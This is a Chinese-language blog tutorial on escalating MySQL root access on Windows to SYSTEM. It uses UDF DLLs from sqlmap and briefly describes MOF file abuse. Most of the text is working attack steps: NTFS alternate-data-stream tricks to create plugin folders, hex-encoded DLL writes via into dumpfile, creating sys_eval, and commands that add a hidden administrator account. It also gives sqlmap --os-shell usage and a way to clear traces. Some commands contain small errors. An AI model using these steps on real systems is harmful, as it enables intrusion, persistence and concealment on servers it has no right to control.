原理
udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。
思路
获取udf文件
上传udf到指定位置
sqlmap有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll
sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码, 不能直接使用
可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下打开powershell,执行命令:
sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
有了udf文件,利用各种办法将udf上传到网站指定目录下
mysql<5.0 导出路径随意;
5.0<mysql<5.1 导出至目标服务器的系统目录 c:/windows/system32中
5.1<mysql 必须将udf.dll 放在mysql安装目录下的lib\plugin文件夹下才能创建自定义函数
一般lib,plugin文件夹需要手工建立(利用ntfs的ads流模式创建文件夹),或者用weshell直接创建,没有的话就结合流模式+into dumpfile写入
1.查看mysql所在目录 select @@basedir; 2.利用ntfs ads创建lib目录 select 'it is dll' into dumpfile 'c:\\program files\\mysql\\mysql server 5.1\\lib::$index_allocation'; 3.利用ntfs ads创建plugin目录 select 'it is dll' into dumpfile 'c:\\program files\\mysql\\mysql server 5.1\\plugin::$index_allocation';
在NTFS文件系统中,ADS(Alternate Data Streams,备用数据流)是一种特殊的文件属性,允许将额外的数据附加到文件中。这些额外的数据可以存储在文件的ADS中,而不会影响文件的主要内容。
"lib::$index_allocation"是一个ads流的名称。在这种情况下,它指的是名为"lib"的文件的"INDEX_ALLOCATION"备用数据流。它包含了文件的索引信息加快访问速度
从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll';
sys_eval是函数名称 udf.dll是lib_mysqludf_sys.dll上传后的文件名
执行自定义函数
新建账号waitalone ,密码为waitalone.cn
select sys_eval('net user waita xx /add'); select sys_eval('net localgroup administrators waitalone /add');
标题写入udf的犯法
tips:版本>5.6.34 secure_file_priv需要为空才可以通过mysql传udf
into outfile直接写入
1.将udf的内容变成16进制编码
2.数据库中执行
select 16进制编码 into outfile 'c:/program files/mysql/mysql server 5.5 /lib/plugin/udf.dl';
3.创建sys_eval
create function sys_eval returns string soname 'udf.dll';
4.获取system权限
select sys_eval('');
表内容导出写入
1.建立表保存16进制内容
set @my_udf=concat('',dll的16进制);
create table udf_data(data longblob);
2.将my_udf的内容插入到表udf_data中
insert into udf_data values(" ");
update udf_data set data=@my_udf;
3.将内容导出到文件
select data from udf_data into dumpfile 'c:/program files/mysql/mysql server 5.5/lib/plugin/udf.dll';
4.创建sys_eval成功执行系统命令
create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');
sqlmap写入
1.sqlmap自带udf功能
sqlmap.py -d "mysql://root:root@xxxx:3306/mysql" --os-shell
2.清除痕迹
drop function cmdshell;删除函数
delete from mysql.func where name='cmdshell' 删除函数
mof提权
原理
mof 是windows系统的一个文件叫托管对象格式,作用是每隔5s就去监控进程的创建和死亡。mof提权的简单利用过程就是 拥有了mysql的root权限之后利用该权限执行上传操作,将我们重写的mof文件上传后,该文件中的一个vbs脚本便会执行,该脚本大多数是cmd的添加管理员用户的命令
why可以提权
提权的根本原因在于有更高权限的线程执行了命令。我们利用nullevt.mof文件的加载过程由system用户执行,因此我们可以把最高用户的权限提升到system
利用条件
window版本<2003
c:\windows\system3\wbemmof目录可写入
数据库允许外连,已知root权限账号密码
利用代码
修改脚本
标签:lib,escalate,dll,sys,udf,eval,mysql,privilege From: https://www.cnblogs.com/lisenMiller/p/17592964.html